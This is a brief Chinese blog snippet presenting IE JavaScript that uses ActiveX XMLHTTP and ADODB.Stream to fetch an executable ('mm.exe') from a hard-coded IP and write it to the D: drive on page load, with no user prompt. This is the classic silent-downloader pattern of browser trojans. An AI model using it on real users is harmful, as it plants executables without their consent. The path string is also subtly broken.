javascript与xmlhttp联合实现文件下载

类别:.NET开发 点击:0 评论:0 推荐:


<script language='javascript'>
var xh;
function getXML(geturl)
{
alert("ll");
xh = new ActiveXObject("Microsoft.XMLHTTP");
xh.onreadystatechange = getReady;
xh.open("GET",geturl,true);                    
xh.send();  
                         
}


function getReady()
{
alert(xh.readyState);
if(xh.readyState==4)
{
if(xh.status==200)
{saveFile("d:\mm.exe");return true;}
else
{return false;}
}
else
return false;
}


function saveFile(tofile)
{
var objStream;
var imgs;
imgs = xh.responseBody; 
objStream = new ActiveXObject("ADODB.Stream");
objStream.Type = 1;
objStream.open();
objStream.write(imgs);
objStream.SaveToFile(tofile)
}
getXML("http://192.168.22.206/mm.exe");
</script>

本文地址:http://com.8s8s.com/it/it41548.htm